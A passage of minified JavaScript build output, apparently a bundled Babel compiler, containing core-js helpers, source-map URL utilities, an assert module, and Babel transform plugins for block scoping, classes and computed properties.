strict";e.exports={}},function(e,t,r){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=r(95)("meta"),s=r(16),a=r(28),o=r(23).f,u=0,l=Object.isExtensible||function(){return!0},c=!r(27)(function(){return l(Object.preventExtensions({}))}),f=function(e){o(e,i,{value:{i:"O"+ ++u,w:{}}})},p=function(e,t){if(!s(e))return"symbol"==(void 0===e?"undefined":n(e))?e:("string"==typeof e?"S":"P")+e;if(!a(e,i)){if(!l(e))return"F";if(!t)return"E";f(e)}return e[i].i},d=function(e,t){if(!a(e,i)){if(!l(e))return!0;if(!t)return!1;f(e)}return e[i].w},h=function(e){return c&&m.NEED&&l(e)&&!a(e,i)&&f(e),e},m=e.exports={KEY:i,NEED:!1,fastKey:p,getWeak:d,onFreeze:h}},function(e,t,r){"use strict";var n=r(16);e.exports=function(e,t){if(!n(e)||e._t!==t)throw TypeError("Incompatible receiver, "+t+" required!");return e}},function(e,t,r){"use strict";r(440);for(var n=r(15),i=r(29),s=r(56),a=r(13)("toStringTag"),o="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),u=0;u<o.length;u++){var l=o[u],c=n[l],f=c&&c.prototype;f&&!f[a]&&i(f,a,l),s[l]=s.Array}},function(e,t){"use strict";function r(e,t){for(var r=-1,n=null==e?0:e.length,i=Array(n);++r<n;)i[r]=t(e[r],r,e);return i}e.exports=r},function(e,t,r){"use strict";function n(e){return"function"==typeof e?e:null==e?o:"object"==(void 0===e?"undefined":i(e))?u(e)?a(e[0],e[1]):s(e):l(e)}var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=r(502),a=r(503),o=r(110),u=r(6),l=r(592);e.exports=n},function(e,t,r){"use strict";function n(e){return"symbol"==(void 0===e?"undefined":i(e))||a(e)&&s(e)==o}var i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=r(30),a=r(25),o="[object Symbol]";e.exports=n},function(e,t){"use strict";function r(e,t,r){if(t in e)return e[t];if(3===arguments.length)return r;throw new Error('"'+t+'" is a required argument.')}function n(e){var t=e.match(y);return t?{scheme:t[1],auth:t[2],host:t[3],port:t[4],path:t[5]}:null}function i(e){var t="";return e.scheme&&(t+=e.scheme+":"),t+="//",e.auth&&(t+=e.auth+"@"),e.host&&(t+=e.host),e.port&&(t+=":"+e.port),e.path&&(t+=e.path),t}function s(e){var r=e,s=n(e);if(s){if(!s.path)return e;r=s.path}for(var a,o=t.isAbsolute(r),u=r.split(/\/+/),l=0,c=u.length-1;c>=0;c--)a=u[c],"."===a?u.splice(c,1):".."===a?l++:l>0&&(""===a?(u.splice(c+1,l),l=0):(u.splice(c,2),l--));return r=u.join("/"),""===r&&(r=o?"/":"."),s?(s.path=r,i(s)):r}function a(e,t){""===e&&(e="."),""===t&&(t=".");var r=n(t),a=n(e);if(a&&(e=a.path||"/"),r&&!r.scheme)return a&&(r.scheme=a.scheme),i(r);if(r||t.match(v))return t;if(a&&!a.host&&!a.path)return a.host=t,i(a);var o="/"===t.charAt(0)?t:s(e.replace(/\/+$/,"")+"/"+t);return a?(a.path=o,i(a)):o}function o(e,t){""===e&&(e="."),e=e.replace(/\/$/,"");for(var r=0;0!==t.indexOf(e+"/");){var n=e.lastIndexOf("/");if(n<0)return t;if(e=e.slice(0,n),e.match(/^([^\/]+:\/)?\/*$/))return t;++r}return Array(r+1).join("../")+t.substr(e.length+1)}function u(e){return e}function l(e){return f(e)?"$"+e:e}function c(e){return f(e)?e.slice(1):e}function f(e){if(!e)return!1;var t=e.length;if(t<9)return!1;if(95!==e.charCodeAt(t-1)||95!==e.charCodeAt(t-2)||111!==e.charCodeAt(t-3)||116!==e.charCodeAt(t-4)||111!==e.charCodeAt(t-5)||114!==e.charCodeAt(t-6)||112!==e.charCodeAt(t-7)||95!==e.charCodeAt(t-8)||95!==e.charCodeAt(t-9))return!1;for(var r=t-10;r>=0;r--)if(36!==e.charCodeAt(r))return!1;return!0}function p(e,t,r){var n=e.source-t.source;return 0!==n?n:0!==(n=e.originalLine-t.originalLine)?n:0!==(n=e.originalColumn-t.originalColumn)||r?n:0!==(n=e.generatedColumn-t.generatedColumn)?n:(n=e.generatedLine-t.generatedLine,0!==n?n:e.name-t.name)}function d(e,t,r){var n=e.generatedLine-t.generatedLine;return 0!==n?n:0!==(n=e.generatedColumn-t.generatedColumn)||r?n:0!==(n=e.source-t.source)?n:0!==(n=e.originalLine-t.originalLine)?n:(n=e.originalColumn-t.originalColumn,0!==n?n:e.name-t.name)}function h(e,t){return e===t?0:e>t?1:-1}function m(e,t){var r=e.generatedLine-t.generatedLine;return 0!==r?r:0!==(r=e.generatedColumn-t.generatedColumn)?r:0!==(r=h(e.source,t.source))?r:0!==(r=e.originalLine-t.originalLine)?r:(r=e.originalColumn-t.originalColumn,0!==r?r:h(e.name,t.name))}t.getArg=r;var y=/^(?:([\w+\-.]+):)?\/\/(?:(\w+:\w+)@)?([\w.]*)(?::(\d+))?(\S*)$/,v=/^data:.+\,.+$/;t.urlParse=n,t.urlGenerate=i,t.normalize=s,t.join=a,t.isAbsolute=function(e){return"/"===e.charAt(0)||!!e.match(y)},t.relative=o;var g=function(){return!("__proto__"in Object.create(null))}();t.toSetString=g?u:l,t.fromSetString=g?u:c,t.compareByOriginalPositions=p,t.compareByGeneratedPositionsDeflated=d,t.compareByGeneratedPositionsInflated=m},function(e,t,r){(function(t){"use strict";function n(e,t){if(e===t)return 0;for(var r=e.length,n=t.length,i=0,s=Math.min(r,n);i<s;++i)if(e[i]!==t[i]){r=e[i],n=t[i];break}return r<n?-1:n<r?1:0}function i(e){return t.Buffer&&"function"==typeof t.Buffer.isBuffer?t.Buffer.isBuffer(e):!(null==e||!e._isBuffer)}function s(e){return Object.prototype.toString.call(e)}function a(e){return!i(e)&&("function"==typeof t.ArrayBuffer&&("function"==typeof ArrayBuffer.isView?ArrayBuffer.isView(e):!!e&&(e instanceof DataView||!!(e.buffer&&e.buffer instanceof ArrayBuffer))))}function o(e){if(x.isFunction(e)){if(_)return e.name;var t=e.toString(),r=t.match(C);return r&&r[1]}}function u(e,t){return"string"==typeof e?e.length<t?e:e.slice(0,t):e}function l(e){if(_||!x.isFunction(e))return x.inspect(e);var t=o(e);return"[Function"+(t?": "+t:"")+"]"}function c(e){return u(l(e.actual),128)+" "+e.operator+" "+u(l(e.expected),128)}function f(e,t,r,n,i){throw new D.AssertionError({message:r,actual:e,expected:t,operator:n,stackStartFunction:i})}function p(e,t){e||f(e,!0,t,"==",D.ok)}function d(e,t,r,o){if(e===t)return!0;if(i(e)&&i(t))return 0===n(e,t);if(x.isDate(e)&&x.isDate(t))return e.getTime()===t.getTime();if(x.isRegExp(e)&&x.isRegExp(t))return e.source===t.source&&e.global===t.global&&e.multiline===t.multiline&&e.lastIndex===t.lastIndex&&e.ignoreCase===t.ignoreCase;if(null!==e&&"object"===(void 0===e?"undefined":E(e))||null!==t&&"object"===(void 0===t?"undefined":E(t))){if(a(e)&&a(t)&&s(e)===s(t)&&!(e instanceof Float32Array||e instanceof Float64Array))return 0===n(new Uint8Array(e.buffer),new Uint8Array(t.buffer));if(i(e)!==i(t))return!1;o=o||{actual:[],expected:[]};var u=o.actual.indexOf(e);return-1!==u&&u===o.expected.indexOf(t)||(o.actual.push(e),o.expected.push(t),m(e,t,r,o))}return r?e===t:e==t}function h(e){return"[object Arguments]"==Object.prototype.toString.call(e)}function m(e,t,r,n){if(null===e||void 0===e||null===t||void 0===t)return!1;if(x.isPrimitive(e)||x.isPrimitive(t))return e===t;if(r&&Object.getPrototypeOf(e)!==Object.getPrototypeOf(t))return!1;var i=h(e),s=h(t);if(i&&!s||!i&&s)return!1;if(i)return e=S.call(e),t=S.call(t),d(e,t,r);var a,o,u=w(e),l=w(t);if(u.length!==l.length)return!1;for(u.sort(),l.sort(),o=u.length-1;o>=0;o--)if(u[o]!==l[o])return!1;for(o=u.length-1;o>=0;o--)if(a=u[o],!d(e[a],t[a],r,n))return!1;return!0}function y(e,t,r){d(e,t,!0)&&f(e,t,r,"notDeepStrictEqual",y)}function v(e,t){if(!e||!t)return!1;if("[object RegExp]"==Object.prototype.toString.call(t))return t.test(e);try{if(e instanceof t)return!0}catch(e){}return!Error.isPrototypeOf(t)&&!0===t.call({},e)}function g(e){var t;try{e()}catch(e){t=e}return t}function b(e,t,r,n){var i;if("function"!=typeof t)throw new TypeError('"block" argument must be a function');"string"==typeof r&&(n=r,r=null),i=g(t),n=(r&&r.name?" ("+r.name+").":".")+(n?" "+n:"."),e&&!i&&f(i,r,"Missing expected exception"+n);var s="string"==typeof n,a=!e&&x.isError(i),o=!e&&i&&!r;if((a&&s&&v(i,r)||o)&&f(i,r,"Got unwanted exception"+n),e&&i&&r&&!v(i,r)||!e&&i)throw i}var E="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},x=r(117),A=Object.prototype.hasOwnProperty,S=Array.prototype.slice,_=function(){return"foo"===function(){}.name}(),D=e.exports=p,C=/\s*function\s+([^\(\s]*)\s*/;D.AssertionError=function(e){this.name="AssertionError",this.actual=e.actual,this.expected=e.expected,this.operator=e.operator,e.message?(this.message=e.message,this.generatedMessage=!1):(this.message=c(this),this.generatedMessage=!0);var t=e.stackStartFunction||f;if(Error.captureStackTrace)Error.captureStackTrace(this,t);else{var r=new Error;if(r.stack){var n=r.stack,i=o(t),s=n.indexOf("\n"+i);if(s>=0){var a=n.indexOf("\n",s+1);n=n.substring(a+1)}this.stack=n}}},x.inherits(D.AssertionError,Error),D.fail=f,D.ok=p,D.equal=function(e,t,r){e!=t&&f(e,t,r,"==",D.equal)},D.notEqual=function(e,t,r){e==t&&f(e,t,r,"!=",D.notEqual)},D.deepEqual=function(e,t,r){d(e,t,!1)||f(e,t,r,"deepEqual",D.deepEqual)},D.deepStrictEqual=function(e,t,r){d(e,t,!0)||f(e,t,r,"deepStrictEqual",D.deepStrictEqual)},D.notDeepEqual=function(e,t,r){d(e,t,!1)&&f(e,t,r,"notDeepEqual",D.notDeepEqual)},D.notDeepStrictEqual=y,D.strictEqual=function(e,t,r){e!==t&&f(e,t,r,"===",D.strictEqual)},D.notStrictEqual=function(e,t,r){e===t&&f(e,t,r,"!==",D.notStrictEqual)},D.throws=function(e,t,r){b(!0,e,t,r)},D.doesNotThrow=function(e,t,r){b(!1,e,t,r)},D.ifError=function(e){if(e)throw e};var w=Object.keys||function(e){var t=[];for(var r in e)A.call(e,r)&&t.push(r);return t}}).call(t,function(){return this}())},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i),a=r(3),o=n(a),u=r(42),l=n(u),c=r(41),f=n(c),p=r(34),d=n(p),h=r(20),m=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(h),y=r(119),v=n(y),g=r(7),b=n(g),E=r(174),x=n(E),A=r(109),S=n(A),_=["enter","exit"],D=function(e){function t(r,n){(0,o.default)(this,t);var i=(0,l.default)(this,e.call(this));return i.initialized=!1,i.raw=(0,x.default)({},r),i.key=i.take("name")||n,i.manipulateOptions=i.take("manipulateOptions"),i.post=i.take("post"),i.pre=i.take("pre"),i.visitor=i.normaliseVisitor((0,S.default)(i.take("visitor"))||{}),i}return(0,f.default)(t,e),t.prototype.take=function(e){var t=this.raw[e];return delete this.raw[e],t},t.prototype.chain=function(e,t){if(!e[t])return this[t];if(!this[t])return e[t];var r=[e[t],this[t]];return function(){for(var e=void 0,t=arguments.length,n=Array(t),i=0;i<t;i++)n[i]=arguments[i];for(var a=r,o=Array.isArray(a),u=0,a=o?a:(0,s.default)(a);;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l;if(c){var f=c.apply(this,n);null!=f&&(e=f)}}return e}},t.prototype.maybeInherit=function(e){var t=this.take("inherits");t&&(t=d.default.normalisePlugin(t,e,"inherits"),this.manipulateOptions=this.chain(t,"manipulateOptions"),this.post=this.chain(t,"post"),this.pre=this.chain(t,"pre"),this.visitor=b.default.visitors.merge([t.visitor,this.visitor]))},t.prototype.init=function(e,t){if(!this.initialized){this.initialized=!0,this.maybeInherit(e);for(var r in this.raw)throw new Error(m.get("pluginInvalidProperty",e,t,r))}},t.prototype.normaliseVisitor=function(e){for(var t=_,r=Array.isArray(t),n=0,t=r?t:(0,s.default)(t);;){var i;if(r){if(n>=t.length)break;i=t[n++]}else{if(n=t.next(),n.done)break;i=n.value}if(e[i])throw new Error("Plugins aren't allowed to specify catch-all enter/exit handlers. Please target individual nodes.")}return b.default.explode(e),e},t}(v.default);t.default=D,e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){var t=e.messages;return{visitor:{Scope:function(e){var r=e.scope;for(var n in r.bindings){var s=r.bindings[n];if("const"===s.kind||"module"===s.kind)for(var a=s.constantViolations,o=Array.isArray(a),u=0,a=o?a:(0,i.default)(a);;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l;throw c.buildCodeFrameError(t.get("readOnly",n))}}}}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(){return{manipulateOptions:function(e,t){t.plugins.push("asyncFunctions")}}},e.exports=t.default},function(e,t){"use strict";t.__esModule=!0,t.default=function(e){var t=e.types;return{visitor:{ArrowFunctionExpression:function(e,r){if(r.opts.spec){var n=e.node;if(n.shadow)return;n.shadow={this:!1},n.type="FunctionExpression";var i=t.thisExpression();i._forceShadow=e,e.ensureBlock(),e.get("body").unshiftContainer("body",t.expressionStatement(t.callExpression(r.addHelper("newArrowCheck"),[t.thisExpression(),i]))),e.replaceWith(t.callExpression(t.memberExpression(n,t.identifier("bind")),[t.thisExpression()]))}else e.arrowFunctionToShadowed()}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){function t(e,t){for(var n=t.get(e),s=n,a=Array.isArray(s),o=0,s=a?s:(0,i.default)(s);;){var u;if(a){if(o>=s.length)break;u=s[o++]}else{if(o=s.next(),o.done)break;u=o.value}var l=u,c=l.node;if(l.isFunctionDeclaration()){var f=r.variableDeclaration("let",[r.variableDeclarator(c.id,r.toExpression(c))]);f._blockHoist=2,c.id=null,l.replaceWith(f)}}}var r=e.types;return{visitor:{BlockStatement:function(e){var n=e.node,i=e.parent;r.isFunction(i,{body:n})||r.isExportDeclaration(i)||t("body",e)},SwitchCase:function(e){t("consequent",e)}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){return b.isLoop(e.parent)||b.isCatchClause(e.parent)}function s(e){return!!b.isVariableDeclaration(e)&&(!!e[b.BLOCK_SCOPED_SYMBOL]||("let"===e.kind||"const"===e.kind))}function a(e,t,r,n){var i=arguments.length>4&&void 0!==arguments[4]&&arguments[4];if(t||(t=e.node),!b.isFor(r))for(var s=0;s<t.declarations.length;s++){var a=t.declarations[s];a.init=a.init||n.buildUndefinedNode()}if(t[b.BLOCK_SCOPED_SYMBOL]=!0,t.kind="var",i){var o=n.getFunctionParent(),u=e.getBindingIdentifiers();for(var l in u){var c=n.getOwnBinding(l);c&&(c.kind="var"),n.moveBindingTo(l,o)}}}function o(e){return b.isVariableDeclaration(e,{kind:"var"})&&!s(e)}function u(e){return b.isBreakStatement(e)?"break":b.isContinueStatement(e)?"continue":void 0}t.__esModule=!0;var l=r(10),c=n(l),f=r(9),p=n(f),d=r(3),h=n(d);t.default=function(){return{visitor:{VariableDeclaration:function(e,t){var r=e.node,n=e.parent,i=e.scope;if(s(r)&&(a(e,null,n,i,!0),r._tdzThis)){for(var o=[r],u=0;u<r.declarations.length;u++){var l=r.declarations[u];if(l.init){var c=b.assignmentExpression("=",l.id,l.init);c._ignoreBlockScopingTDZ=!0,o.push(b.expressionStatement(c))}l.init=t.addHelper("temporalUndefined")}r._blockHoist=2,e.isCompletionRecord()&&o.push(b.expressionStatement(i.buildUndefinedNode())),e.replaceWithMultiple(o)}},Loop:function(e,t){var r=e.node,n=e.parent,i=e.scope;b.ensureBlock(r);var s=new B(e,e.get("body"),n,i,t),a=s.run();a&&e.replaceWith(a)},CatchClause:function(e,t){var r=e.parent,n=e.scope;new B(null,e.get("body"),r,n,t).run()},"BlockStatement|SwitchStatement|Program":function(e,t){if(!i(e)){new B(null,e,e.parent,e.scope,t).run()}}}}};var m=r(7),y=n(m),v=r(330),g=r(1),b=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(g),E=r(280),x=n(E),A=r(578),S=n(A),_=r(4),D=n(_),C=(0,D.default)('\n  if (typeof RETURN === "object") return RETURN.v;\n'),w=y.default.visitors.merge([{Loop:{enter:function(e,t){t.loopDepth++},exit:function(e,t){t.loopDepth--}},Function:function(e,t){return t.loopDepth>0&&e.traverse(P,t),e.skip()}},v.visitor]),P=y.default.visitors.merge([{ReferencedIdentifier:function(e,t){var r=t.letReferences[e.node.name];if(r){var n=e.scope.getBindingIdentifier(e.node.name);n&&n!==r||(t.closurify=!0)}}},v.visitor]),k={enter:function(e,t){var r=e.node;e.parent;if(e.isForStatement()){if(o(r.init)){var n=t.pushDeclar(r.init);1===n.length?r.init=n[0]:r.init=b.sequenceExpression(n)}}else if(e.isFor())o(r.left)&&(t.pushDeclar(r.left),r.left=r.left.declarations[0].id);else if(o(r))e.replaceWithMultiple(t.pushDeclar(r).map(function(e){return b.expressionStatement(e)}));else if(e.isFunction())return e.skip()}},F={LabeledStatement:function(e,t){var r=e.node;t.innerLabels.push(r.label.name)}},T={enter:function(e,t){if(e.isAssignmentExpression()||e.isUpdateExpression()){var r=e.getBindingIdentifiers();for(var n in r)t.outsideReferences[n]===e.scope.getBindingIdentifier(n)&&(t.reassignments[n]=!0)}}},O={Loop:function(e,t){var r=t.ignoreLabeless;t.ignoreLabeless=!0,e.traverse(O,t),t.ignoreLabeless=r,e.skip()},Function:function(e){e.skip()},SwitchCase:function(e,t){var r=t.inSwitchCase;t.inSwitchCase=!0,e.traverse(O,t),t.inSwitchCase=r,e.skip()},"BreakStatement|ContinueStatement|ReturnStatement":function(e,t){var r=e.node,n=e.parent,i=e.scope;if(!r[this.LOOP_IGNORE]){var s=void 0,a=u(r);if(a){if(r.label){if(t.innerLabels.indexOf(r.label.name)>=0)return;a=a+"|"+r.label.name}else{if(t.ignoreLabeless)return;if(t.inSwitchCase)return;if(b.isBreakStatement(r)&&b.isSwitchCase(n))return}t.hasBreakContinue=!0,t.map[a]=r,s=b.stringLiteral(a)}e.isReturnStatement()&&(t.hasReturn=!0,s=b.objectExpression([b.objectProperty(b.identifier("v"),r.argument||i.buildUndefinedNode())])),s&&(s=b.returnStatement(s),s[this.LOOP_IGNORE]=!0,e.skip(),e.replaceWith(b.inherits(s,r)))}}},B=function(){function e(t,r,n,i,s){(0,h.default)(this,e),this.parent=n,this.scope=i,this.file=s,this.blockPath=r,this.block=r.node,this.outsideLetReferences=(0,p.default)(null),this.hasLetReferences=!1,this.letReferences=(0,p.default)(null),this.body=[],t&&(this.loopParent=t.parent,this.loopLabel=b.isLabeledStatement(this.loopParent)&&this.loopParent.label,this.loopPath=t,this.loop=t.node)}return e.prototype.run=function(){var e=this.block;if(!e._letDone){e._letDone=!0;var t=this.getLetReferences();if(b.isFunction(this.parent)||b.isProgram(this.block))return void this.updateScopeInfo();if(this.hasLetReferences)return t?this.wrapClosure():this.remap(),this.updateScopeInfo(t),this.loopLabel&&!b.isLabeledStatement(this.loopParent)?b.labeledStatement(this.loopLabel,this.loop):void 0}},e.prototype.updateScopeInfo=function(e){var t=this.scope,r=t.getFunctionParent(),n=this.letReferences;for(var i in n){var s=n[i],a=t.getBinding(s.name);a&&("let"!==a.kind&&"const"!==a.kind||(a.kind="var",e?t.removeBinding(s.name):t.moveBindingTo(s.name,r)))}},e.prototype.remap=function(){var e=this.letReferences,t=this.scope;for(var r in e){var n=e[r];(t.parentHasBinding(r)||t.hasGlobal(r))&&(t.hasOwnBinding(r)&&t.rename(n.name),this.blockPath.scope.hasOwnBinding(r)&&this.blockPath.scope.rename(n.name))}},e.prototype.wrapClosure=function(){if(this.file.opts.throwIfClosureRequired)throw this.blockPath.buildCodeFrameError("Compiling let/const in this block would add a closure (throwIfClosureRequired).");var e=this.block,t=this.outsideLetReferences;if(this.loop)for(var r in t){var n=t[r];(this.scope.hasGlobal(n.name)||this.scope.parentHasBinding(n.name))&&(delete t[n.name],delete this.letReferences[n.name],this.scope.rename(n.name),this.letReferences[n.name]=n,t[n.name]=n)}this.has=this.checkLoop(),this.hoistVarDeclarations();var i=(0,x.default)(t),s=(0,x.default)(t),a=this.blockPath.isSwitchStatement(),o=b.functionExpression(null,i,b.blockStatement(a?[e]:e.body));o.shadow=!0,this.addContinuations(o);var u=o;this.loop&&(u=this.scope.generateUidIdentifier("loop"),this.loopPath.insertBefore(b.variableDeclaration("var",[b.variableDeclarator(u,o)])));var l=b.callExpression(u,s),c=this.scope.generateUidIdentifier("ret");y.default.hasType(o.body,this.scope,"YieldExpression",b.FUNCTION_TYPES)&&(o.generator=!0,l=b.yieldExpression(l,!0)),y.default.hasType(o.body,this.scope,"AwaitExpression",b.FUNCTION_TYPES)&&(o.async=!0,l=b.awaitExpression(l)),this.buildClosure(c,l),a?this.blockPath.replaceWithMultiple(this.body):e.body=this.body},e.prototype.buildClosure=function(e,t){var r=this.has;r.hasReturn||r.hasBreakContinue?this.buildHas(e,t):this.body.push(b.expressionStatement(t))},e.prototype.addContinuations=function(e){var t={reassignments:{},outsideReferences:this.outsideLetReferences};this.scope.traverse(e,T,t);for(var r=0;r<e.params.length;r++){var n=e.params[r];if(t.reassignments[n.name]){var i=this.scope.generateUidIdentifier(n.name);e.params[r]=i,this.scope.rename(n.name,i.name,e),e.body.body.push(b.expressionStatement(b.assignmentExpression("=",n,i)))}}},e.prototype.getLetReferences=function(){var e=this,t=this.block,r=[];if(this.loop){var n=this.loop.left||this.loop.init;s(n)&&(r.push(n),(0,S.default)(this.outsideLetReferences,b.getBindingIdentifiers(n)))}var i=function n(i,o){o=o||i.node,(b.isClassDeclaration(o)||b.isFunctionDeclaration(o)||s(o))&&(s(o)&&a(i,o,t,e.scope),r=r.concat(o.declarations||o)),b.isLabeledStatement(o)&&n(i.get("body"),o.body)};if(t.body)for(var o=0;o<t.body.length;o++){var u=this.blockPath.get("body")[o];i(u)}if(t.cases)for(var l=0;l<t.cases.length;l++)for(var c=t.cases[l].consequent,f=0;f<c.length;f++){var p=this.blockPath.get("cases")[l],d=c[f];i(p,d)}for(var h=0;h<r.length;h++){var m=r[h],y=b.getBindingIdentifiers(m,!1,!0);(0,S.default)(this.letReferences,y),this.hasLetReferences=!0}if(this.hasLetReferences){var v={letReferences:this.letReferences,closurify:!1,file:this.file,loopDepth:0},g=this.blockPath.find(function(e){return e.isLoop()||e.isFunction()});return g&&g.isLoop()&&v.loopDepth++,this.blockPath.traverse(w,v),v.closurify}},e.prototype.checkLoop=function(){var e={hasBreakContinue:!1,ignoreLabeless:!1,inSwitchCase:!1,innerLabels:[],hasReturn:!1,isLoop:!!this.loop,map:{},LOOP_IGNORE:(0,c.default)()};return this.blockPath.traverse(F,e),this.blockPath.traverse(O,e),e},e.prototype.hoistVarDeclarations=function(){this.blockPath.traverse(k,this)},e.prototype.pushDeclar=function(e){var t=[],r=b.getBindingIdentifiers(e);for(var n in r)t.push(b.variableDeclarator(r[n]));this.body.push(b.variableDeclaration(e.kind,t));for(var i=[],s=0;s<e.declarations.length;s++){var a=e.declarations[s];if(a.init){var o=b.assignmentExpression("=",a.id,a.init);i.push(b.inherits(o,a))}}return i},e.prototype.buildHas=function(e,t){var r=this.body;r.push(b.variableDeclaration("var",[b.variableDeclarator(e,t)]));var n=void 0,i=this.has,s=[];if(i.hasReturn&&(n=C({RETURN:e})),i.hasBreakContinue){for(var a in i.map)s.push(b.switchCase(b.stringLiteral(a),[i.map[a]]));if(i.hasReturn&&s.push(b.switchCase(null,[n])),1===s.length){var o=s[0];r.push(b.ifStatement(b.binaryExpression("===",e,o.test),o.consequent[0]))}else{if(this.loop)for(var u=0;u<s.length;u++){var l=s[u].consequent[0];b.isBreakStatement(l)&&!l.label&&(l.label=this.loopLabel=this.loopLabel||this.scope.generateUidIdentifier("loop"))}r.push(b.switchStatement(e,s))}}else i.hasReturn&&r.push(n)},e}();e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(10),s=n(i);t.default=function(e){var t=e.types,r=(0,s.default)();return{visitor:{ExportDefaultDeclaration:function(e){if(e.get("declaration").isClassDeclaration()){var r=e.node,n=r.declaration.id||e.scope.generateUidIdentifier("class");r.declaration.id=n,e.replaceWith(r.declaration),e.insertAfter(t.exportDefaultDeclaration(n))}},ClassDeclaration:function(e){var r=e.node,n=r.id||e.scope.generateUidIdentifier("class");e.replaceWith(t.variableDeclaration("let",[t.variableDeclarator(n,t.toExpression(r))]))},ClassExpression:function(e,t){var n=e.node;if(!n[r]){var i=(0,f.default)(e);if(i&&i!==n)return e.replaceWith(i);n[r]=!0;var s=l.default;t.opts.loose&&(s=o.default),e.replaceWith(new s(e,t.file).run())}}}}};var a=r(331),o=n(a),u=r(207),l=n(u),c=r(40),f=n(c);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){function t(e){return o.isObjectProperty(e)?e.value:o.isObjectMethod(e)?o.functionExpression(null,e.params,e.body,e.generator,e.async):void 0}function r(e,r,i){"get"===r.kind&&"set"===r.kind?n(e,r,i):i.push(o.expressionStatement(o.assignmentExpression("=",o.memberExpression(e,r.key,r.computed||o.isLiteral(r.key)),t(r))))}function n(e,r){var n=(e.objId,e.body),i=e.getMutatorId,s=e.scope,a=!r.computed&&o.isIdentifier(r.key)?o.stringLiteral(r.key.name):r.key,u=s.maybeGenerateMemoised(a);u&&(n.push(o.expressionStatement(o.assignmentExpression("=",u,a))),a=u),n.push.apply(n,l({MUTATOR_MAP_REF:i(),KEY:a,VALUE:t(r),KIND:o.identifier(r.kind)}))}function s(e){for(var t=e.computedProps,s=Array.isArray(t),a=0,t=s?t:(0,i.default)(t);;){var o;if(s){if(a>=t.length)break;o=t[a++]}else{if(a=t.next(),a.done)break;o=a.value}var u=o;"get"===u.kind||"set"===u.kind?n(e,u):r(e.objId,u,e.body)}}function a(e){for(var s=e.objId,a=e.body,u=e.computedProps,l=e.state,c=u,f=Array.isArray(c),p=0,c=f?c:(0,i.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}var h=d,m=o.toComputedKey(h);if("get"===h.kind||"set"===h.kind)n(e,h);else if(o.isStringLiteral(m,{value:"__proto__"}))r(s,h,a);else{if(1===u.length)return o.callExpression(l.addHelper("defineProperty"),[e.initPropExpression,m,t(h)]);a.push(o.expressionStatement(o.callExpression(l.addHelper("defineProperty"),[s,m,t(h)])))}}}var o=e.types,u=e.template,l=u("\n    MUTATOR_MAP_REF[KEY] = MUTATOR_MAP_REF[KEY] || {};\n    MUTATOR_MAP_REF[KEY].KIND = VALUE;\n  ");return{visitor:{ObjectExpression:{exit:function(e,t){for(var r=e.node,n=e.parent,u=e.scope,l=!1,c=r.properties,f=Array.isArray(c),p=0,c=f?c:(0,i.default)(c);;){var d;if(f){if(p>=c.length)break;d=c[p++]}else{if(p=c.next(),p.done)break;d=p.value}if(l=!0===d.computed)break}if(l){for(var h=[],m=[],y=!1,v=r.properties,g=Array.isArray(v),b=0,v=g?v:(0,i.default)(v);;){var E;if(g){if(b>=v.length)break;E=v[b++]}else{if(b=v.next(),b.done)break;E=b.value}var x=E;x.computed&&(y=!0),y?m.push(x):h.push(x)}var A=u.generateUidIdentifierBasedOnNode(n),S=o.objectExpression(h),_=[];_.push(o.variableDeclaration("var",[o.variableDeclarator(A,S)]));var D=a;t.opts.loose&&(D=s);var C=void 0,w=function(){return C||(C=u.generateUidIdentifier("mutatorMap"),_.push(o.variableDeclaration("var",[o.variableDeclarator(C,o.objectExpression([]))]))),C},P=D({scope:u,objId:A,body:_,computedProps:m,initPropExpression:S,getMutatorId:w,state:t});C&&_.push(o.expressionStatement(o.callExpression(t.addHelper("defineEnumerableProperties"),[A,C]))),P?e.replaceWith(P):(_.push(o.expressionStatement(A)),e.replaceWithMultiple(_))}}}}}},e.exports=t.default},function(e,t,r){"use strict";function n(e){return 